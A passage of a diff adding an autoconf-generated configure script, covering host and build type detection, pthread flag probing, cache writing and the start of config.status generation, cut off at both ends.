"$as_me: error: cannot guess build type; you must specify one" >&2;} + { (exit 1); exit 1; }; } +ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || + { { $as_echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&5 +$as_echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&2;} + { (exit 1); exit 1; }; } + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_build" >&5 +$as_echo "$ac_cv_build" >&6; } +case $ac_cv_build in +*-*-*) ;; +*) { { $as_echo "$as_me:$LINENO: error: invalid value of canonical build" >&5 +$as_echo "$as_me: error: invalid value of canonical build" >&2;} + { (exit 1); exit 1; }; };; +esac +build=$ac_cv_build +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_build +shift +build_cpu=$1 +build_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +build_os=$* +IFS=$ac_save_IFS +case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac + + +{ $as_echo "$as_me:$LINENO: checking host system type" >&5 +$as_echo_n "checking host system type... " >&6; } +if test "${ac_cv_host+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test "x$host_alias" = x; then + ac_cv_host=$ac_cv_build +else + ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || + { { $as_echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&5 +$as_echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&2;} + { (exit 1); exit 1; }; } +fi + +fi +{ $as_echo "$as_me:$LINENO: result: $ac_cv_host" >&5 +$as_echo "$ac_cv_host" >&6; } +case $ac_cv_host in +*-*-*) ;; +*) { { $as_echo "$as_me:$LINENO: error: invalid value of canonical host" >&5 +$as_echo "$as_me: error: invalid value of canonical host" >&2;} + { (exit 1); exit 1; }; };; +esac +host=$ac_cv_host +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_host +shift +host_cpu=$1 +host_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +host_os=$* +IFS=$ac_save_IFS +case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +acx_pthread_ok=no + +# We used to check for pthread.h first, but this fails if pthread.h +# requires special compiler flags (e.g. on True64 or Sequent). +# It gets checked for in the link test anyway. + +# First of all, check if the user has set any of the PTHREAD_LIBS, +# etcetera environment variables, and if threads linking works using +# them: +if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then + save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + save_LIBS="$LIBS" + LIBS="$PTHREAD_LIBS $LIBS" + { $as_echo "$as_me:$LINENO: checking for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS" >&5 +$as_echo_n "checking for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS... " >&6; } + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char pthread_join (); +int +main () +{ +return pthread_join (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + $as_test_x conftest$ac_exeext + }; then + acx_pthread_ok=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -rf conftest.dSYM +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext + { $as_echo "$as_me:$LINENO: result: $acx_pthread_ok" >&5 +$as_echo "$acx_pthread_ok" >&6; } + if test x"$acx_pthread_ok" = xno; then + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" + fi + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" +fi + +# We must check for the threads library under a number of different +# names; the ordering is very important because some systems +# (e.g. DEC) have both -lpthread and -lpthreads, where one of the +# libraries is broken (non-POSIX). + +# Create a list of thread flags to try. Items starting with a "-" are +# C compiler flags, and other items are library names, except for "none" +# which indicates that we try without any flags at all, and "pthread-config" +# which is a program returning the flags for the Pth emulation library. + +acx_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config" + +# The ordering *is* (sometimes) important. Some notes on the +# individual items follow: + +# pthreads: AIX (must check this before -lpthread) +# none: in case threads are in libc; should be tried before -Kthread and +# other compiler flags to prevent continual compiler warnings +# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h) +# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able) +# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread) +# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads) +# -pthreads: Solaris/gcc +# -mthreads: Mingw32/gcc, Lynx/gcc +# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it +# doesn't hurt to check since this sometimes defines pthreads too; +# also defines -D_REENTRANT) +# ... -mt is also the pthreads flag for HP/aCC +# pthread: Linux, etcetera +# --thread-safe: KAI C++ +# pthread-config: use pthread-config program (for GNU Pth library) + +case "${host_cpu}-${host_os}" in + *solaris*) + + # On Solaris (at least, for some versions), libc contains stubbed + # (non-functional) versions of the pthreads routines, so link-based + # tests will erroneously succeed. (We need to link with -pthreads/-mt/ + # -lpthread.) (The stubs are missing pthread_cleanup_push, or rather + # a function called by this macro, so we could check for that, but + # who knows whether they'll stub that too in a future libc.) So, + # we'll just look for -pthreads and -lpthread first: + + acx_pthread_flags="-pthreads pthread -mt -pthread $acx_pthread_flags" + ;; +esac + +if test x"$acx_pthread_ok" = xno; then +for flag in $acx_pthread_flags; do + + case $flag in + none) + { $as_echo "$as_me:$LINENO: checking whether pthreads work without any flags" >&5 +$as_echo_n "checking whether pthreads work without any flags... " >&6; } + ;; + + -*) + { $as_echo "$as_me:$LINENO: checking whether pthreads work with $flag" >&5 +$as_echo_n "checking whether pthreads work with $flag... " >&6; } + PTHREAD_CFLAGS="$flag" + ;; + + pthread-config) + # Extract the first word of "pthread-config", so it can be a program name with args. +set dummy pthread-config; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_acx_pthread_config+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$acx_pthread_config"; then + ac_cv_prog_acx_pthread_config="$acx_pthread_config" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_acx_pthread_config="yes" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + + test -z "$ac_cv_prog_acx_pthread_config" && ac_cv_prog_acx_pthread_config="no" +fi +fi +acx_pthread_config=$ac_cv_prog_acx_pthread_config +if test -n "$acx_pthread_config"; then + { $as_echo "$as_me:$LINENO: result: $acx_pthread_config" >&5 +$as_echo "$acx_pthread_config" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + + if test x"$acx_pthread_config" = xno; then continue; fi + PTHREAD_CFLAGS="`pthread-config --cflags`" + PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`" + ;; + + *) + { $as_echo "$as_me:$LINENO: checking for the pthreads library -l$flag" >&5 +$as_echo_n "checking for the pthreads library -l$flag... " >&6; } + PTHREAD_LIBS="-l$flag" + ;; + esac + + save_LIBS="$LIBS" + save_CFLAGS="$CFLAGS" + LIBS="$PTHREAD_LIBS $LIBS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + + # Check for various functions. We must include pthread.h, + # since some functions may be macros. (On the Sequent, we + # need a special flag -Kthread to make this header compile.) + # We check for pthread_join because it is in -lpthread on IRIX + # while pthread_create is in libc. We check for pthread_attr_init + # due to DEC craziness with -lpthreads. We check for + # pthread_cleanup_push because it is one of the few pthread + # functions on Solaris that doesn't have a non-functional libc stub. + # We try pthread_create on general principles. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +pthread_t th; pthread_join(th, 0); + pthread_attr_init(0); pthread_cleanup_push(0, 0); + pthread_create(0,0,0,0); pthread_cleanup_pop(0); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + $as_test_x conftest$ac_exeext + }; then + acx_pthread_ok=yes +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -rf conftest.dSYM +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext + + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" + + { $as_echo "$as_me:$LINENO: result: $acx_pthread_ok" >&5 +$as_echo "$acx_pthread_ok" >&6; } + if test "x$acx_pthread_ok" = xyes; then + break; + fi + + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" +done +fi + +# Various other checks: +if test "x$acx_pthread_ok" = xyes; then + save_LIBS="$LIBS" + LIBS="$PTHREAD_LIBS $LIBS" + save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + + # Detect AIX lossage: JOINABLE attribute is called UNDETACHED. + { $as_echo "$as_me:$LINENO: checking for joinable pthread attribute" >&5 +$as_echo_n "checking for joinable pthread attribute... " >&6; } + attr_name=unknown + for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +int attr=$attr; return attr; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\"" +$as_echo "$ac_try_echo") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && { + test "$cross_compiling" = yes || + $as_test_x conftest$ac_exeext + }; then + attr_name=$attr; break +else + $as_echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -rf conftest.dSYM +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext + done + { $as_echo "$as_me:$LINENO: result: $attr_name" >&5 +$as_echo "$attr_name" >&6; } + if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then + +cat >>confdefs.h <<_ACEOF +#define PTHREAD_CREATE_JOINABLE $attr_name +_ACEOF + + fi + + { $as_echo "$as_me:$LINENO: checking if more special flags are required for pthreads" >&5 +$as_echo_n "checking if more special flags are required for pthreads... " >&6; } + flag=no + case "${host_cpu}-${host_os}" in + *-aix* | *-freebsd* | *-darwin*) flag="-D_THREAD_SAFE";; + *solaris* | *-osf* | *-hpux*) flag="-D_REENTRANT";; + esac + { $as_echo "$as_me:$LINENO: result: ${flag}" >&5 +$as_echo "${flag}" >&6; } + if test "x$flag" != xno; then + PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS" + fi + + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" + + # More AIX lossage: must compile with xlc_r or cc_r + if test x"$GCC" != xyes; then + for ac_prog in xlc_r cc_r +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ $as_echo "$as_me:$LINENO: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if test "${ac_cv_prog_PTHREAD_CC+set}" = set; then + $as_echo_n "(cached) " >&6 +else + if test -n "$PTHREAD_CC"; then + ac_cv_prog_PTHREAD_CC="$PTHREAD_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_PTHREAD_CC="$ac_prog" + $as_echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +PTHREAD_CC=$ac_cv_prog_PTHREAD_CC +if test -n "$PTHREAD_CC"; then + { $as_echo "$as_me:$LINENO: result: $PTHREAD_CC" >&5 +$as_echo "$PTHREAD_CC" >&6; } +else + { $as_echo "$as_me:$LINENO: result: no" >&5 +$as_echo "no" >&6; } +fi + + + test -n "$PTHREAD_CC" && break +done +test -n "$PTHREAD_CC" || PTHREAD_CC="${CC}" + + else + PTHREAD_CC=$CC + fi +else + PTHREAD_CC="$CC" +fi + + + + + +# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND: +if test x"$acx_pthread_ok" = xyes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_PTHREAD 1 +_ACEOF + + : +else + acx_pthread_ok=no + +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +ac_config_files="$ac_config_files Makefile" + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { $as_echo "$as_me:$LINENO: WARNING: cache variable $ac_var contains a newline" >&5 +$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + test "x$cache_file" != "x/dev/null" && + { $as_echo "$as_me:$LINENO: updating cache $cache_file" >&5 +$as_echo "$as_me: updating cache $cache_file" >&6;} + cat confcache >$cache_file + else + { $as_echo "$as_me:$LINENO: not updating unwritable cache $cache_file" >&5 +$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# Transform confdefs.h into DEFS. +# Protect against shell expansion while executing Makefile rules. +# Protect against Makefile macro expansion. +# +# If the first sed substitution is executed (which looks for macros that +# take arguments), then branch to the quote section. Otherwise, +# look for a macro that doesn't take arguments. +ac_script=' +:mline +/\\$/{ + N + s,\\\n,, + b mline +} +t clear +:clear +s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g +t quote +s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g +t quote +b any +:quote +s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g +s/\[/\\&/g +s/\]/\\&/g +s/\$/$$/g +H +:any +${ + g + s/^\n// + s/\n/ /g + p +} +' +DEFS=`sed -n "$ac_script" confdefs.h` + + +ac_libobjs= +ac_ltlibobjs= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`$as_echo "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + ac_libobjs="$ac_libobjs \${LIBOBJDIR}$ac_i\$U.$ac_objext" + ac_ltlibobjs="$ac_ltlibobjs \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + + +: ${CONFIG_STATUS=./config.status} +ac_write_fail=0 +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ $as_echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 +$as_echo "$as_me: creating $CONFIG_STATUS" >&6;} +cat >$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false +SHELL=\${CONFIG_SHELL-$SHELL} +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +as_nl=' +' +export as_nl +# Printing a long string crashes Solaris 7 /usr/bin/printf. +as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo +as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo +if (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then + as_echo='printf %s\n' + as_echo_n='printf %s' +else + if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then + as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' + as_echo_n='/usr/ucb/echo -n' + else + as_echo_body='eval expr "X$1" : "X\\(.*\\)"' + as_echo_n_body='eval + arg=$1; + case $arg in + *"$as_nl"*) + expr "X$arg" : "X\\(.*\\)$as_nl"; + arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; + esac; + expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" + ' + export as_echo_n_body + as_echo_n='sh -c $as_echo_n_body as_echo' + fi + export as_echo_body + as_echo='sh -c $as_echo_body as_echo' +fi + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { + (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || + PATH_SEPARATOR=';' + } +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +LC_ALL=C +export LC_ALL +LANGUAGE=C +export LANGUAGE + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -p' + fi +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + +exec 6>&1 + +# Save the log message, to keep $[0] and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by $as_me, which was +generated by GNU Autoconf 2.63. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +case $ac_config_files in *" +"*) set x $ac_config_files; shift; ac_config_files=$*;; +esac + + + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +# Files that config.status was made for. +config_files="$ac_config_files" + +_ACEOF + +cat >>$CONFIG_STATUS 